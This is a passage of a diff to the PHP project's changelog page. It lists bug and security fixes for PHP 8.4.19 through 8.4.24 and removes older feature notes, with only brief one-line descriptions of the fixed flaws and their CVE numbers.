        • Fixed bug (Stack overflow in array_walk_recursive() with deeply nested arrays).
        • +
        • Fixed bug (Stack overflow in array_replace_recursive() with deeply nested arrays).
        • +
        • Fixed bug (Stack overflow in compact() with deeply nested arrays).
        • +
        • Fixed stack overflow in count() with COUNT_RECURSIVE and deeply nested arrays.
        • +
      • +
      • Streams: +
          +
        • Fixed bug (Use-after-free when a user stream filter accesses $this->stream during the close flush).
        • +
      • +
      • Sysvshm: +
          +
        • Fixed out-of-bounds write when shm_attach() opens an existing segment with a size larger than the segment actually is.
        • +
      • +
      • XSL: +
          +
        • Fixed use-after-free when a DOMDocument subclass __clone() retains the stylesheet copy made by XSLTProcessor::importStylesheet().
        • +
      • +
      • Zip: +
          +
        • Fixed ZipArchive::addGlob() and ZipArchive::addPattern() ignoring their default options when no options array is given.
        • +
      • +
      +
      + + + +
      +

      Version 8.4.24

      + +
      • BCMath: +
          +
        • Fixed (Out-of-bounds write in bccomp()). (CVE-2026-17544)
        • +
      • +
      • Calendar: +
          +
        • Fixed bug (gregoriantojd() and juliantojd() integer overflow with INT_MAX year).
        • +
      • +
      • Date: +
          +
        • Update timelib to 2022.17.
        • +
        • Fixed bug (Parsing a string with a single white space does create an error).
        • +
        • Fixed Unix timestamps in February of the year 0 are misparsed with @-notation.
        • +
        • Fixed bug (__debugInfo does nothing on userland classes extending Date classes).
        • +
      • +
      • DBA: +
          +
        • Fixed OOB read on malformed length field in dba flatfile handler.
        • +
      • +
      • DOM: +
          +
        • Fixed bug (Stack overflow when serializing a deeply nested Dom\XMLDocument).
        • +
      • +
      • Exif: +
          +
        • Fixed bug (exif_read_data() emits a spurious "Illegal IFD size" warning when an IFD is not followed by a next-IFD offset).
        • +
      • +
      • GD: +
          +
        • Upgrade libgd. (CVE-2026-9672)
        • +
      • +
      • Hash: +
          +
        • Fixed bug (ext/hash relies on implementation-defined malloc alignment).
        • +
      • +
      • Intl: +
          +
        • Fixed Locale::lookup() and locale_lookup() to return NULL instead of the fallback locale when a language tag cannot be canonicalized.
        • +
        • Fixed memory leaks when calling Collator::__construct() or Spoofchecker::__construct() twice.
        • +
        • Fixed IntlChar methods leaving stale global error state after successful calls.
        • +
      • +
      • ODBC: +
          +
        • Fixed bug (Heap buffer over-read when a column value exceeds the driver-reported display size).
        • +
      • +
      • OpenSSL: +
          +
        • Fixed timeout for supplemental read at end of a blocking stream in SSL stream wrapper.
        • +
      • +
      • PDO_ODBC: +
          +
        • Fixed bug (Crash with ODBC connection pooling when the DSN carries no credentials).
        • +
        • Fixed bug (Heap buffer over-read when a column value exceeds the driver-reported display size).
        • +
        • Fixed bug (Heap buffer overflow when an output parameter value is longer than the declared maxlen).
        • +
        • Fixed bug (Out-of-bounds write when the ODBC driver reports a diagnostic message length beyond the error buffer).
        • +
      • +
      • PGSQL: +
          +
        • Fixed (SQL injection via E'...' backslash breakout). (CVE-2026-17543)
        • +
      • +
      • Phar: +
          +
        • Fixed inconsistent handling of the magic ".phar" directory. Paths such as "/.phar" remain protected, while non-magic paths that merely start with ".phar" are handled consistently across file and directory creation, copying, ArrayAccess, stream lookup, directory iteration and extraction.
        • +
        • Fixed (Crash via recursive symlinks). (CVE-2026-7260)
        • +
      • +
      • PHPDBG: +
          +
        • Fixed bug (Trivial crash in phpdbg lexer).
        • +
        • Fixed fleaked lowercased lookup keys in phpdbg_resolve_opline_break.
        • +
        • Fixed off-by-one in phpdbg_safe_class_lookup() causing class lookups to always fail during phpdbg's signal-safe interruption path.
        • +
      • +
      • Reflection: +
          +
        • Fixed bug (Ignore leading namespace separator in ReflectionParameter::__construct()).
        • +
        • Fixed bug (ReflectionClass::hasProperty() and getProperty() ignore dynamic properties shadowing a private parent property).
        • +
        • Fixed bug (ReflectionConstant::__toString() with a string value with null bytes truncates output).
        • +
        • Fixed bug (Reflection*::__toString() truncates on null bytes).
        • +
      • +
      • Session: +
          +
        • Fixed bug (Different session garbage collector behavior between PHP 8.3 and PHP 8.5).
        • +
      • +
      • SPL: +
          +
        • Fix class_parents for classes with leading slash in non-autoload mode.
        • +
        • Ignore leading back-slash in class_parents(), class_implements(), and class_uses().
        • +
        • Fixed bug (SplFileObject::fputcsv() on an uninitialized object segfaults).
        • +
      • +
      • Standard: +
          +
        • Fixed bug (convert.base64-encode corruption on incremental flush).
        • +
        • Fixed bug (base_convert() outputs at most 64 characters).
        • +
        • Fixed integer overflow in getimagesize() and getimagesizefromstring() when parsing an IFF chunk with a size of INT_MAX.
        • +
        • Fixed bug (Use-after-free in array_multisort() when the comparator mutates the array being sorted).
        • +
      • +
      • Streams: +
          +
        • Fixed bug (persistent stream keys truncated at null bytes, causing distinct abstract unix domain sockets to share a resource).
        • +
      • +
      • Zip: +
          +
        • Fixed bug (ZipArchive::setCommentName() and setCommentIndex() could crash after overwriting an entry and resetting its inherited unchanged comment).
        • +
        • Fixed bug (ZipArchive::getFromIndex() ignores ZipArchive::FL_UNCHANGED for deleted entries).
        • +
      • +
      +
      + + + +
      +

      Version 8.4.23

      + +
      • Core: +
          +
        • Fixed bug (Incorrect compile error for goto to label preceding try/finally block).
        • +
      • +
      • BCMath: +
          +
        • Fixed issues with oversized allocations and signed overflow in bcround() and BcMath\Number::round().
        • +
      • +
      • Date: +
          +
        • Fix incorrect recurrence check of DatePeriod::createFromISO8601String().
        • +
      • +
      • DOM: +
          +
        • Fix (Dom\XMLDocument::schemaValidate fails to resolve xs:QName with prefix from imported schema).
        • +
      • +
      • Exif: +
          +
        • Read correct value for single and double tags.
        • +
      • +
      • GD: +
          +
        • Fixed bug (Double free in gdImageSetStyle() after overflow-triggered early return).
        • +
        • Fixed bug (imageconvolution() unexpected nan filter value).
        • +
        • Fixed bug (imageellipse/imagefilledellipse overflow).
        • +
        • Fixed bug (imageaffine overflow).
        • +
      • +
      • Intl: +
          +
        • Fix incorrect argument positions for uninitialized calendar arguments in IntlCalendar::equals(), ::before(), ::after(), and ::isEquivalentTo(), and for invalid start/end arguments in transliterator_transliterate().
        • +
        • Fixed IntlTimeZone::getDisplayName() to synchronize object error state for invalid display types.
        • +
        • Fixed Spoofchecker restriction-level APIs to only be exposed with ICU 53 and later.
        • +
      • +
      • mysqli: +
          +
        • Fix stmt->query leak in mysqli_execute_query() validation errors.
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (Unsafe inheritance cache replay with reentrant autoloading).
        • +
      • +
      • OpenSSL: +
          +
        • Fixed bug (Memory corruption (zend_mm_heap corrupted) in openssl_encrypt with AES-WRAP-PAD). (CVE-2026-14355)
        • +
      • +
      • Phar: +
          +
        • Fixed a bypass of the magic ".phar" directory protection in Phar::addEmptyDir() for paths starting with "/.phar", while allowing non-magic directory names that merely share the ".phar" prefix.
        • +
      • +
      • Reflection: +
          +
        • Preserve class-name case in ReflectionClass::getProperty() error messages and autoloading.
        • +
      • +
      • Sqlite: +
          +
        • Fix error checks for column retrieval.
        • +
      • +
      • Zlib: +
          +
        • Fixed memory leak if deflate initialization fails and there is a dict.
        • +
        • Fixed memory leak in inflate_add().
        • +
      • +
      • Zip: +
          +
        • Fixed error-related memory leaks.
      • -
      • DOM: +
      +
      + + + +
      +

      Version 8.4.22

      + +
      • Date:
          -
        • Added Dom\Element::$outerHTML.
        • -
        • Added Dom\Element::insertAdjacentHTML().
        • -
        • Added $children property to ParentNode implementations.
        • -
        • Make cloning DOM node lists, maps, and collections fail.
        • -
        • Added Dom\Element::getElementsByClassName().
        • -
        • Fixed bug (\Dom\HTMLDocument querySelectorAll selecting only the first when using ~ and :has).
        • -
        • Fix getNamedItemNS() incorrect namespace check.
        • +
        • Fixed bug (int overflow in php_date_llabs).
      • -
      • Enchant: +
      • Intl:
          -
        • Added enchant_dict_remove_from_session().
        • -
        • Added enchant_dict_remove().
        • -
        • Fix missing empty string checks.
        • +
        • Fix incorrect argument positions in out-of-bounds errors for IntlCalendar::set(), IntlCalendar::setDate(), IntlCalendar::setDateTime(), and IntlGregorianCalendar date/time construction.
        • +
        • Expose Spoofchecker restriction-level APIs on all supported ICU versions.
        • +
        • Fix SpoofChecker::setAllowedChars() and IntlDateFormatter::__construct() to report PHP constant names instead of ICU constant names in user-visible error messages.
      • -
      • EXIF: +
      • MySQLnd:
          -
        • Add OffsetTime* Exif tags.
        • -
        • Added support to retrieve Exif from HEIF file.
        • -
        • Fix OSS-Fuzz #442954659 (zero-size box in HEIF file causes infinite loop).
        • -
        • Fix OSS-Fuzz #442954659 (Crash in exif_scan_HEIF_header).
        • -
        • Various hardening fixes to HEIF parsing.
        • +
        • Fix persistent free of non-persistent connect_attr key (David Carlier).
      • -
      • FileInfo: +
      • Opcache:
          -
        • The finfo_close() function has been deprecated.
        • -
        • The $context parameter of the finfo_buffer() function has been deprecated as it is ignored.
        • -
        • Upgrade to file 5.46.
        • -
        • Change return type of finfo_close() to true.
        • +
        • Fixed tracing JIT crash when a VM interrupt is handled during an observed user function call.
        • +
        • Fixed bug (Assertion failure at ext/opcache/jit/zend_jit_trace.c).
      • -
      • Filter: +
      • OpenSSL:
          -
        • Added support for configuring the URI parser for FILTER_VALIDATE_URL as described in https://wiki.php.net/rfc/url_parsing_api#plugability.
        • -
        • Fixed bug (filter_var_array with FILTER_VALIDATE_INT|FILTER_NULL_ON_FAILURE should emit warning for invalid filter usage).
        • +
        • Fix compatibility issues with OpenSSL 4.0.
      • -
      • FPM: +
      • SPL:
          -
        • Fixed bug (Decode SCRIPT_FILENAME issue in php 8.5).
        • -
        • Fixed bug (PHP 8.5 FPM access log lines also go to STDERR).
        • -
        • Fixed (FPM with httpd ProxyPass does not decode script path).
        • -
        • Make FPM access log limit configurable using log_limit.
        • -
        • Fixed failed debug assertion when php_admin_value setting fails.
        • -
        • Fixed (post_max_size evaluates .user.ini too late in php-fpm).
        • +
        • Fix SplFixedArray::setSize leak when destructor grows during clear.
        • +
        • Fixed bug (use after free of self-freeing MultipleIterator children).
      • -
      • GD: +
      • Standard:
          -
        • (Transparent artifacts when using imagerotate).
        • -
        • (ZTS GD fails to find system TrueType font).
        • -
        • Fix incorrect comparison with result of php_stream_can_cast().
        • -
        • The imagedestroy() function has been deprecated.
        • +
        • Fixed bug (version_compare() incorrectly handles versions ending with a dot).
        • +
        • Fixed ip2long() leading zeros handling inconsistency on AIX.
      • -
      • Iconv: +
      +
      + + + +
      +

      Version 8.4.21

      + +
      • Core:
          -
        • Extends the ICONV_CONST preprocessor for illumos/solaris.
        • +
        • Fixed bug (GC assertion failure with fibers, generators and destructors).
        • +
        • Fixed bug (Forward property operations to real instance for initialized lazy proxies).
        • +
        • Fixed bug (Missing addref for Countable::count()).
        • +
        • Fixed bug (Assertion failure in shutdown_executor when resolving self::/parent::/static:: callables if the error handler throws).
        • +
        • Fixed bug (Missing addref for __unset).
        • +
        • Fixed bug (Trait with class constant name conflict against enum case causes SEGV).
      • -
      • Intl: +
      • CLI:
          -
        • Bumped ICU requirement to ICU >= 57.1.
        • -
        • IntlDateFormatter::setTimeZone()/datefmt_set_timezone() throws an exception with uninitialised classes or clone failure.
        • -
        • Added DECIMAL_COMPACT_SHORT/DECIMAL_COMPACT_LONG for NumberFormatter class.
        • -
        • Added Locale::isRightToLeft to check if a locale is written right to left.
        • -
        • Added null bytes presence in locale inputs for Locale class.
        • -
        • Added grapheme_levenshtein() function.
        • -
        • Added Locale::addLikelySubtags/Locale::minimizeSubtags to handle adding/removing likely subtags to a locale.
        • -
        • Added IntlListFormatter class to format a list of items with a locale, operands types and units.
        • -
        • Added grapheme_strpos(), grapheme_stripos(), grapheme_strrpos(), grapheme_strripos(), grapheme_substr(), grapheme_strstr(), grapheme_stristr() and grapheme_levenshtein() functions add $locale parameter (Yuya Hamada).
        • -
        • Fixed bug (Fix locale strings canonicalization for IntlDateFormatter and NumberFormatter).
        • -
        • Fixed bug ([intl] Weird numeric sort in Collator).
        • -
        • Fix return value on failure for resourcebundle count handler.
        • -
        • Fixed bug (PGO builds of shared ext-intl are broken).
        • -
        • Intl's internal error mechanism has been modernized so that it indicates more accurately which call site caused what error. Moreover, some ext/date exceptions have been wrapped inside a IntlException now.
        • -
        • The intl.error_level INI setting has been deprecated.
        • +
        • Fixed bug (`--rf` command line option with a method triggers ext/reflection deprecation warnings).
      • -
      • LDAP: +
      • Curl:
          -
        • Allow ldap_get_option to retrieve global option by allowing NULL for connection instance ($ldap).
        • +
        • Add support for brotli and zstd on Windows.
      • -
      • MBstring: +
      • DOM:
          -
        • Updated Unicode data tables to Unicode 17.0.
        • +
        • Fixed and (Dom\XMLDocument::C14N() emits duplicate xmlns declarations after setAttributeNS()). (CVE-2026-7263)
        • +
        • Fixed bug (segmentation fault on empty HTMLDocument).
        • +
        • Upgrade to lexbor v2.7.0.
      • -
      • MySQLi: +
      • FPM:
          -
        • Fixed bugs and (calling mysqli::__construct twice).
        • -
        • The mysqli_execute() alias function has been deprecated.
        • +
        • Fixed (XSS within status endpoint). (CVE-2026-6735)
      • -
      • MySQLnd: +
      • Iconv:
          -
        • Added mysqlnd.collect_memory_statistics to ini quick reference.
        • +
        • Fixed bug (iconv memory leak on bailout).
      • -
      • ODBC: +
      • MBString:
          -
        • Removed driver-specific build flags and support.
        • -
        • Remove ODBCVER and assume ODBC 3.5.
        • +
        • Fixed (Null pointer dereference in php_mb_check_encoding() via mb_ereg_search_init()). (CVE-2026-7259)
        • +
        • Fixed (Out-of-bounds access in mbfl_name2encoding_ex()). (CVE-2026-6104)
      • Opcache:
          -
        • Make OPcache non-optional (Arnaud, timwolla)
        • -
        • Added opcache.file_cache_read_only.
        • -
        • Updated default value of opcache.jit_hot_loop.
        • -
        • Log a warning when opcache lock file permissions could not be changed.
        • -
        • Fixed bug (heap buffer overflow in jit).
        • -
        • Partially fixed bug (Avoid calling wrong function when reusing file caches across differing environments).
        • -
        • Disallow changing opcache.memory_consumption when SHM is already set up.
        • -
        • Fixed bug (Compiling opcache statically into ZTS PHP fails).
        • -
        • Fixed bug (OPcache bypasses the user-defined error handler for deprecations).
        • -
        • Fixed bug (opcache build failure).
        • -
        • Fixed bug (access to uninitialized vars in preload_load()).
        • -
        • Fixed bug (JIT broken in ZTS builds on MacOS 15).
        • -
        • Fixed bug (JIT 1205 segfault on large file compiled in subprocess).
        • -
        • Fixed segfault in function JIT due to NAN to bool warning.
        • -
        • Fixed bug (Double-free of EG(errors)/persistent_script->warnings on persist of already persisted file).
        • -
        • Fixed bug (race condition in zend_runtime_jit(), zend_jit_hot_func()).
        • -
        • Fixed bug (assertion failure in zend_jit_trace_type_to_info_ex).
        • -
        • Fixed bug (function JIT may not deref property value).
        • -
        • Fixed bug (Incorrect opline after deoptimization).
        • -
        • Fixed bug (Wrong JIT stack setup on aarch64/clang).
        • -
        • Fixed bug (Broken opcache.huge_code_pages).
        • -
        • Fixed bug (Build fails on non-glibc/musl/freebsd/macos/win platforms).
        • -
        • Fixed ZTS OPcache build on Cygwin.
        • -
        • Fixed bug (JIT variable not stored before YIELD).
        • +
        • Fixed bug (JIT: Assertion jit->ra[var].flags & (1<<0) failed in zend_jit_use_reg).
        • +
        • Fixed bug (Borked function JIT JMPNZ smart branch).
        • +
        • Fixed bug (COND optimization regression).
        • +
        • Fixed faulty returns out of zend_try block in zend_jit_trace().
      • OpenSSL:
          -
        • Added openssl.libctx INI that allows to select the OpenSSL library context type and convert various parts of the extension to use the custom libctx.
        • -
        • Add $digest_algo parameter to openssl_public_encrypt() and openssl_private_decrypt() functions.
        • -
        • Implement #81724 (openssl_cms_encrypt only allows specific ciphers).
        • -
        • Implement #80495 (Enable to set padding in openssl_(sign|verify).
        • -
        • Implement #47728 (openssl_pkcs7_sign ignores new openssl flags).
        • -
        • Fixed bug (openssl_get_cipher_methods inconsistent with fetching).
        • -
        • Fixed build when --with-openssl-legacy-provider set.
        • -
        • Fixed bug (8.5 | Regression in openssl_sign() - support for alias algorithms appears to be broken).
        • -
        • The $key_length parameter for openssl_pkey_derive() has been deprecated.
        • +
        • Fix a bunch of memory leaks and crashes on edge cases.
      • -
      • Output: +
      • PDO_Firebird:
          -
        • Fixed calculation of aligned buffer size.
        • +
        • Fixed (SQL injection via NUL bytes in quoted strings). (CVE-2025-14179)
      • -
      • PCNTL: +
      • Phar:
          -
        • Extend pcntl_waitid with rusage parameter.
        • +
        • Restore is_link handler in phar_intercept_functions_shutdown.
        • +
        • Fixed bug (phar: NULL dereference in Phar::webPhar() when SCRIPT_NAME is absent from SAPI environment).
        • +
        • Fix memory leak in Phar::offsetGet().
        • +
        • Fix memory leak in phar_add_file().
        • +
        • Fixed bug (phar: propagate phar_stream_flush return value from phar_stream_close).
        • +
        • Fix memory leak in phar_verify_signature() when md_ctx is invalid.
      • -
      • PCRE: +
      • Random:
          -
        • Remove PCRE2_EXTRA_ALLOW_LOOKAROUND_BSK from pcre compile options.
        • +
        • Fixed bug (Random\Engine\Xoshiro256StarStar::__unserialize() accepts all-zero state).
      • -
      • PDO: +
      • Session:
          -
        • Fixed bug (Incorrect class name in deprecation message for PDO mixins).
        • -
        • Driver specific methods and constants in the PDO class are now deprecated.
        • -
        • The "uri:" DSN scheme has been deprecated due to security concerns with DSNs coming from remote URIs.
        • +
        • Fixed memory leak when session GC callback return a refcounted value.
      • -
      • PDO_ODBC: +
      • SOAP:
          -
        • Fetch larger block sizes and better handle SQL_NO_TOTAL when calling SQLGetData.
        • +
        • Fixed (Stale SOAP_GLOBAL(ref_map) pointer with Apache Map). (CVE-2026-6722)
        • +
        • Fixed (Use-after-free after header parsing failure with SOAP_PERSISTENCE_SESSION). (CVE-2026-7261)
        • +
        • Fixed (Broken Apache map value NULL check). (CVE-2026-7262)
      • -
      • PDO_PGSQL: +
      • SPL:
          -
        • Added Iterable support for PDO::pgsqlCopyFromArray.
        • -
        • Implement Pdo\Pgsql::setAttribute(PDO::ATTR_PREFETCH, 0) or Pdo\Pgsql::prepare(…, [ PDO::ATTR_PREFETCH => 0 ]) make fetch() lazy instead of storing the whole result set in memory (Guillaume Outters)
        • +
        • Fixed bug (RecursiveArrayIterator getChildren UAF after parent free).
        • +
        • Fix concurrent iteration and deletion issues in SplObjectStorage.
      • -
      • PDO_SQLITE: +
      • Standard:
          -
        • Add PDO\Sqlite::ATTR_TRANSACTION_MODE connection attribute.
        • -
        • Implement : Add setAuthorizer to Pdo\Sqlite.
        • -
        • PDO::sqliteCreateCollation now throws a TypeError if the callback has a wrong return type.
        • -
        • Added Pdo_Sqlite::ATTR_BUSY_STATEMENT constant to check if a statement is currently executing.
        • -
        • Added Pdo_Sqlite::ATTR_EXPLAIN_STATEMENT constant to set a statement in either EXPLAIN_MODE_PREPARED, EXPLAIN_MODE_EXPLAIN, EXPLAIN_MODE_EXPLAIN_QUERY_PLAN modes.
        • -
        • Fix bug (sqlite PDO::quote silently corrupts strings with null bytes) by throwing on null bytes.
        • +
        • Fixed (Signed integer overflow of char array offset). (CVE-2026-7568)
        • +
        • Fixed (Consistently pass unsigned char to ctype.h functions). (CVE-2026-7258)
      • -
      • PGSQL: +
      • Streams:
          -
        • Added pg_close_stmt to close a prepared statement while allowing its name to be reused.
        • -
        • Added Iterable support for pgsql_copy_from.
        • -
        • pg_connect checks if connection_string contains any null byte, pg_close_stmt check if the statement contains any null byte.
        • -
        • Added pg_service to get the connection current service identifier.
        • -
        • Fix segfaults when attempting to fetch row into a non-instantiable class name.
        • +
        • Fixed bug (Segfault in file_get_contents w/ a https URL and a proxy set). (CVE-2026-12184)
      • -
      • Phar: +
      • XSL:
          -
        • Fix potential buffer length truncation due to usage of type int instead of type size_t.
        • -
        • Fixed memory leaks when verifying OpenSSL signature.
        • +
        • Fixed bug (Segfault on module shutdown).
      • -
      • POSIX: +
      • Zip:
          -
        • Added POSIX_SC_OPEN_MAX constant to get the number of file descriptors a process can handle.
        • -
        • posix_ttyname() sets last_error to EBADF on invalid file descriptors, posix_isatty() raises E_WARNING on invalid file descriptors, posix_fpathconf checks invalid file descriptors.
        • -
        • posix_kill and posix_setpgid throws a ValueError on invalid process_id.
        • -
        • posix_setpgid throws a ValueError on invalid process_group_id, posix_setrlimit throws a ValueError on invalid soft_limit and hard_limit arguments.
        • +
        • Fixed bug (memory leak with ZipArchive::addGlob() early return statements).
      • -
      • Random: +
      +
      + + + +
      +

      Version 8.4.20

      + +
      • Bz2:
          -
        • Moves from /dev/urandom usage to arc4random_buf on Haiku.
        • +
        • Fix truncation of total output size causing erroneous errors.
      • -
      • Reflection: +
      • Core:
          -
        • Added ReflectionConstant::getExtension() and ::getExtensionName().
        • -
        • Added ReflectionProperty::getMangledName() method.
        • -
        • ReflectionConstant is no longer final.
        • -
        • The setAccessible() methods of various Reflection objects have been deprecated, as those no longer have an effect.
        • -
        • ReflectionClass::getConstant() for constants that do not exist has been deprecated.
        • -
        • ReflectionProperty::getDefaultValue() for properties without default values has been deprecated.
        • -
        • Fixed bug (ReflectionClass::getStaticPropertyValue() returns UNDEF zval for uninitialized typed properties).
        • -
        • Fixed bug (ReflectionClass::__toString() should have better output for enums).
        • -
        • Fix (getModifierNames() not reporting asymmetric visibility).
        • -
        • Fixed bug (Reflection: have some indication of property hooks in `_property_string()`).
        • -
        • Fixed bug (ReflectionNamedType::getName() prints nullable type when retrieved from ReflectionProperty::getSettableType()).
        • -
        • Fixed bug (ReflectionClass::isIterable() incorrectly returns true for classes with property hooks).
        • +
        • Fixed bugs , , (Propagate IN_GET guard in get_property_ptr_ptr for lazy proxies).
      • -
      • SAPI: +
      • DOM:
          -
        • Fixed bug and #81451: http_response_code() does not override the status code generated by header().
        • +
        • Fixed bug (Dom\HTMLDocument parser mangles xml:space and xml:lang attributes).
      • -
      • Session: +
      • FFI:
          -
        • session_start() throws a ValueError on option argument if not a hashmap or a TypeError if read_and_close value is not compatible with int.
        • -
        • Added support for partitioned cookies.
        • -
        • Fix RC violation of session SID constant deprecation attribute.
        • -
        • Fixed : build broken with ZEND_STRL usage with memcpy when implemented as macro.
        • +
        • Fixed resource leak in FFI::cdef() onsymbol resolution failure.
      • -
      • SimpleXML: +
      • GD:
          -
        • Fixed bug (SimpleXML xpath should warn when returning other return types than node lists).
        • +
        • Fixed bug (phpinfo() to display libJPEG 10.0 support).
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (JIT compiler produces wrong arithmetic results).
        • +
        • Fixed bug (JIT tracing: infinite loop on FETCH_OBJ_R with IS_UNDEF property in polymorphic context).
        • +
        • Fixed bug (uaf in jit).
        • +
      • +
      • OpenSSL: +
          +
        • Fixed bug (Skip private_key_bits validation for EC/curve-based keys).
        • +
        • Fix missing error propagation for BIO_printf() calls.
        • +
      • +
      • PCRE: +
          +
        • Fixed re-entrancy issue on php_pcre_match_impl, php_pcre_replace_impl, php_pcre_split_impl, and php_pcre_grep_impl.
        • +
      • +
      • PGSQL: +
          +
        • Fixed preprocessor silently guarding PGSQL_SUPPRESS_TIMESTAMPS support due to a typo.
      • SNMP:
          -
        • snmpget, snmpset, snmp_get2, snmp_set2, snmp_get3, snmp_set3 and SNMP::__construct() throw an exception on invalid hostname, community timeout and retries arguments.
        • +
        • Fixed bug (SNMP::setSecurity() undefined behavior with NULL arguments).
      • SOAP:
          -
        • Added support for configuring the URI parser for SoapClient::__doRequest() as described in https://wiki.php.net/rfc/url_parsing_api#plugability.
        • -
        • Implement request #55503 (Extend __getTypes to support enumerations).
        • -
        • Implement request #61105 (Support Soap 1.2 SoapFault Reason Text lang attribute).
        • -
        • (SoapServer calls wrong function, although "SOAP action" header is correct).
        • -
        • Fix namespace handling of WSDL and XML schema in SOAP, fixing at least and bug #68576.
        • -
        • (Segmentation fault on invalid WSDL cache).
        • -
        • Fixed bug (SIGSEGV due to uninitialized soap_globals->lang_en).
        • -
        • Fixed bug (Segfault when spawning new thread in soap extension).
        • +
        • Fixed Set-Cookie parsing bug wrong offset while scanning attributes.
      • -
      • Sockets: +
      • SPL:
          -
        • Added IPPROTO_ICMP/IPPROTO_ICMPV6 to create raw socket for ICMP usage.
        • -
        • Added TCP_FUNCTION_BLK to change the TCP stack algorithm on FreeBSD.
        • -
        • Added IP_BINDANY for a socket to bind to any address.
        • -
        • Added SO_BUSY_POOL to reduce packets poll latency.
        • -
        • Added UDP_SEGMENT support to optimise multiple large datagrams over UDP if the kernel and hardware supports it.
        • -
        • Added SHUT_RD, SHUT_WR and SHUT_RDWR constants for socket_shutdown().
        • -
        • Added TCP_FUNCTION_ALIAS, TCP_REUSPORT_LB_NUMA, TCP_REUSPORT_LB_NUMA_NODOM, TCP_REUSPORT_LB_CURDOM, TCP_BBR_ALGORITHM constants.
        • -
        • socket_set_option() catches possible overflow with SO_RCVTIMEO/SO_SNDTIMEO with timeout setting on windows.
        • -
        • socket_create_listen() throws an exception on invalid port value.
        • -
        • socket_bind() throws an exception on invalid port value.
        • -
        • socket_sendto() throws an exception on invalid port value.
        • -
        • socket_addrinfo_lookup throws an exception on invalid hints value types.
        • -
        • socket_addrinfo_lookup throws an exception if any of the hints value overflows.
        • -
        • socket_addrinfo_lookup throws an exception if one or more hints entries has an index as numeric.
        • -
        • socket_set_option with the options MCAST_LEAVE_GROUP/MCAST_LEAVE_SOURCE_GROUP will throw an exception if its value is not a valid array/object.
        • -
        • socket_getsockname/socket_create/socket_bind handled AF_PACKET family socket.
        • -
        • socket_set_option for multicast context throws a ValueError when the socket family is not of AF_INET/AF_INET6 family.
        • +
        • Fixed bug (missing write lock validation in SplHeap).
      • -
      • Sodium: +
      • Standard:
          -
        • Fix overall theoretical overflows on zend_string buffer allocations.
        • +
        • Fixed bug (Assertion failure when messing up output buffers).
        • +
        • Fixed bug (Cannot identify some avif images with getimagesize).
      • -
      • SPL: +
      • Sysvshm:
          -
        • Fixed bug (SplHeap/SplPriorityQueue serialization exposes INDIRECTs).
        • -
        • Improve __unserialize() hardening for SplHeap/SplPriorityQueue.
        • -
        • Deprecate ArrayObject and ArrayIterator with objects.
        • -
        • Unregistering all autoloaders by passing the spl_autoload_call() function as a callback argument to spl_autoload_unregister() has been deprecated. Instead if this is needed, one should iterate over the return value of spl_autoload_functions() and call spl_autoload_unregister() on each value.
        • -
        • The SplObjectStorage::contains(), SplObjectStorage::attach(), and SplObjectStorage::detach() methods have been deprecated in favour of SplObjectStorage::offsetExists(), SplObjectStorage::offsetSet(), and SplObjectStorage::offsetUnset() respectively.
        • +
        • Fix memory leak in shm_get_var() when variable is corrupted.
        • +
      • +
      • XSL: +
          +
        • Fix (XSLTProcessor works with DOMDocument, but fails with Dom\XMLDocument).
        • +
        • Fixed bug (UAF in dom_objects_free_storage).
      • -
      • Sqlite: +
      +
      + + + +
      +

      Version 8.4.19

      + +
      • Core:
          -
        • Added Sqlite3Stmt::busy to check if a statement is still being executed.
        • -
        • Added Sqlite3Stmt::explain to produce an explain query plan from the statement.
        • -
        • Added Sqlite3Result::fetchAll to return all results at once from a query.
        • +
        • Fixed bug (zend_mm_heap corrupted on Aarch64, LTO builds).
        • +
        • Fixed bug (Assertion failure in zend_lazy_object_get_info triggered by setRawValueWithoutLazyInitialization() and newLazyGhost()).
        • +
        • Fixed bug (Assertion failure in zend_get_property_guard when accessing properties on Reflection LazyProxy via isset()).
        • +
        • Fixed OSS-Fuzz #478009707 (Borked assign-op/inc/dec on untyped hooked property backing value).
        • +
        • Fixed bug (Build fails with -std=).
        • +
        • Fixed bug (Build system installs libtool wrappers when using slibtool).
      • -
      • Standard: +
      • Curl:
          -
        • Add HEIF/HEIC support to getimagesize.
        • -
        • Added support for partitioned cookies.
        • -
        • Implement #71517 (Implement SVG support for getimagesize() and friends).
        • -
        • Implement : Add support for new INI mail.cr_lf_mode.
        • -
        • Optimized PHP html_entity_decode function.
        • -
        • Minor optimization to array_chunk().
        • -
        • Optimized pack().
        • -
        • Fixed crypt() tests on musl when using --with-external-libcrypt (Michael Orlitzky).
        • -
        • Fixed bug (is_callable(func(...), callable_name: $name) for first class callables returns wrong name).
        • -
        • Added array_first() and array_last().
        • -
        • Fixed bug (setlocale's 2nd and 3rd argument ignores strict_types).
        • -
        • Fixed exit code handling of sendmail cmd and added warnings.
        • -
        • Fixed bug (printf: empty precision is interpreted as precision 6, not as precision 0).
        • -
        • Fixed bug (mail() heap overflow with an empty message in lf mode).
        • -
        • Fixed bug (AVIF images misdetected as HEIF after introducing HEIF support in getimagesize()).
        • -
        • Fixed bug (reset internal pointer earlier while splicing array while COW violation flag is still set).
        • -
        • Fixed bug (leaks in var_dump() and debug_zval_dump()).
        • -
        • Fixed (SplPriorityQueue, SplMinHeap, and SplMaxHeap lost their data on serialize()).
        • -
        • Fixed (Deprecation warnings in functions taking as argument).
        • -
        • Fixed bug (Avoid integer overflow when using a small offset and PHP_INT_MAX with LimitIterator).
        • -
        • Fixed bug (#[\Attribute] validation should error on trait/interface/enum/abstract class).
        • -
        • Fixed bug (setlocale($type, NULL) should not be deprecated).
        • -
        • Fixed bug (UAF during array_splice).
        • -
        • Passing strings which are not one byte long to ord() is now deprecated.
        • -
        • Passing integers outside the interval [0, 255] to chr() is now deprecated.
        • -
        • The socket_set_timeout() alias function has been deprecated.
        • -
        • Passing null to readdir(), rewinddir(), and closedir() to use the last opened directory has been deprecated.
        • +
        • Fixed bug (CURLOPT_XFERINFOFUNCTION crash with a null callback).
        • +
        • Don't truncate length.
      • -
      • Streams: +
      • Date:
          -
        • Fixed bug (stream_select() timeout useless for pipes on Windows).
        • -
        • Fixed bug : XP_SOCKET XP_SSL (Socket stream modules): Incorrect condition for Win32/Win64.
        • -
        • Fixed bug (Closing a userspace stream inside a userspace handler causes heap corruption).
        • -
        • Avoid double conversion to string in php_userstreamop_readdir().
        • +
        • Fixed bug (DatePeriod::__set_state() cannot handle null start).
        • +
        • Fix timezone offset with seconds losing precision.
      • -
      • Tests: +
      • DOM:
          -
